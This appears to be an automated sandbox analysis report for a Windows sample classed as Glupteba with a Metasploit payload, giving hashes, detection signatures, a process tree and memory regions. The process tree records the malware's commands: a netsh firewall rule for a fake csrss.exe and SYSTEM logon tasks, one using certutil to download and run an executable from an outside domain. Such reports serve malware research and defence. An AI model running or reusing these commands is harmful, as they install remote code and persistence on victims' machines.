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Analysis

  • max time kernel
    5s
  • max time network
    165s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    31/12/2023, 03:26

General

  • Target

    2654d11f2d3ce974e432ad1c84bcd1f7.exe

  • Size

    4.5MB

  • MD5

    2654d11f2d3ce974e432ad1c84bcd1f7

  • SHA1

    053efdc46790dd1b49e93863df59c83c39342c8f

  • SHA256

    df52242510b70aa54d66b0626624066ece6f8bd5384aa4897778bddfae321c51

  • SHA512

    8b577ed49b7648d67ac7ad19cefdad52eb3665d42561e7b97034607ab1d0e7eb2d0fa22a3338717a2c19e12b9826c338e0f66fcdef3cc9ad6d105c95a0b00df7

  • SSDEEP

    98304:UvcNtBvoJc7I0r0fy0hqQRi69numaD09pJ6N5f1qlFBdWiBl5E1oz2tiuD:UkJtjr0fXRi65rwfCFTZteoz2B

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 18 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • GoLang User-Agent 2 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2654d11f2d3ce974e432ad1c84bcd1f7.exe
    "C:\Users\Admin\AppData\Local\Temp\2654d11f2d3ce974e432ad1c84bcd1f7.exe"
    1⤵
      PID:1164
      • C:\Users\Admin\AppData\Local\Temp\2654d11f2d3ce974e432ad1c84bcd1f7.exe
        "C:\Users\Admin\AppData\Local\Temp\2654d11f2d3ce974e432ad1c84bcd1f7.exe"
        2⤵
          PID:2848
          • C:\Windows\system32\cmd.exe
            C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
            3⤵
              PID:2580
            • C:\Windows\rss\csrss.exe
              C:\Windows\rss\csrss.exe /51-51
              3⤵
                PID:2504
                • C:\Windows\system32\schtasks.exe
                  schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://spolaect.info/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
                  4⤵
                  • Creates scheduled task(s)
                  PID:2792
                • C:\Windows\system32\schtasks.exe
                  schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                  4⤵
                  • Creates scheduled task(s)
                  PID:368
                • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                  "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
                  4⤵
                    PID:2356
            • C:\Windows\system32\makecab.exe
              "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240102022855.log C:\Windows\Logs\CBS\CbsPersist_20240102022855.cab
              1⤵
                PID:2404
              • C:\Windows\system32\netsh.exe
                netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                1⤵
                • Modifies Windows Firewall
                PID:2636

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • memory/1164-1-0x0000000000F20000-0x000000000135C000-memory.dmp

                Filesize

                4.2MB

              • memory/1164-2-0x0000000001360000-0x0000000001C86000-memory.dmp

                Filesize

                9.1MB

              • memory/1164-3-0x0000000000400000-0x0000000000D41000-memory.dmp

                Filesize

                9.3MB

              • memory/1164-0-0x0000000000F20000-0x000000000135C000-memory.dmp

                Filesize

                4.2MB

              • memory/1164-4-0x0000000000400000-0x0000000000D41000-memory.dmp

                Filesize

                9.3MB

              • memory/1164-6-0x0000000000F20000-0x000000000135C000-memory.dmp

                Filesize

                4.2MB

              • memory/1164-7-0x0000000001360000-0x0000000001C86000-memory.dmp

                Filesize

                9.1MB

              • memory/2356-45-0x0000000140000000-0x00000001405E8000-memory.dmp

                Filesize

                5.9MB

              • memory/2356-61-0x0000000140000000-0x00000001405E8000-memory.dmp

                Filesize

                5.9MB

              • memory/2504-246-0x0000000000400000-0x0000000000D41000-memory.dmp

                Filesize

                9.3MB

              • memory/2504-34-0x0000000000400000-0x0000000000D41000-memory.dmp

                Filesize

                9.3MB

              • memory/2504-20-0x0000000000F70000-0x00000000013AC000-memory.dmp

                Filesize

                4.2MB

              • memory/2504-329-0x0000000000400000-0x0000000000D41000-memory.dmp

                Filesize

                9.3MB

              • memory/2504-328-0x0000000000400000-0x0000000000D41000-memory.dmp

                Filesize

                9.3MB

              • memory/2504-22-0x0000000000F70000-0x00000000013AC000-memory.dmp

                Filesize

                4.2MB

              • memory/2504-24-0x0000000000400000-0x0000000000D41000-memory.dmp

                Filesize

                9.3MB

              • memory/2504-25-0x0000000000400000-0x0000000000D41000-memory.dmp

                Filesize

                9.3MB

              • memory/2504-26-0x0000000000F70000-0x00000000013AC000-memory.dmp

                Filesize

                4.2MB

              • memory/2504-27-0x0000000000400000-0x0000000000D41000-memory.dmp

                Filesize

                9.3MB

              • memory/2504-33-0x0000000000400000-0x0000000000D41000-memory.dmp

                Filesize

                9.3MB

              • memory/2504-327-0x0000000000400000-0x0000000000D41000-memory.dmp

                Filesize

                9.3MB

              • memory/2504-42-0x0000000000400000-0x0000000000D41000-memory.dmp

                Filesize

                9.3MB

              • memory/2504-326-0x0000000000400000-0x0000000000D41000-memory.dmp

                Filesize

                9.3MB

              • memory/2504-325-0x0000000000400000-0x0000000000D41000-memory.dmp

                Filesize

                9.3MB

              • memory/2504-324-0x0000000000400000-0x0000000000D41000-memory.dmp

                Filesize

                9.3MB

              • memory/2504-322-0x0000000000400000-0x0000000000D41000-memory.dmp

                Filesize

                9.3MB

              • memory/2504-323-0x0000000000400000-0x0000000000D41000-memory.dmp

                Filesize

                9.3MB

              • memory/2848-5-0x0000000000F70000-0x00000000013AC000-memory.dmp

                Filesize

                4.2MB

              • memory/2848-8-0x0000000000F70000-0x00000000013AC000-memory.dmp

                Filesize

                4.2MB

              • memory/2848-9-0x00000000013B0000-0x0000000001CD6000-memory.dmp

                Filesize

                9.1MB

              • memory/2848-10-0x0000000000400000-0x0000000000D41000-memory.dmp

                Filesize

                9.3MB

              • memory/2848-19-0x0000000000400000-0x0000000000D41000-memory.dmp

                Filesize

                9.3MB

              • memory/2848-21-0x0000000000F70000-0x00000000013AC000-memory.dmp

                Filesize

                4.2MB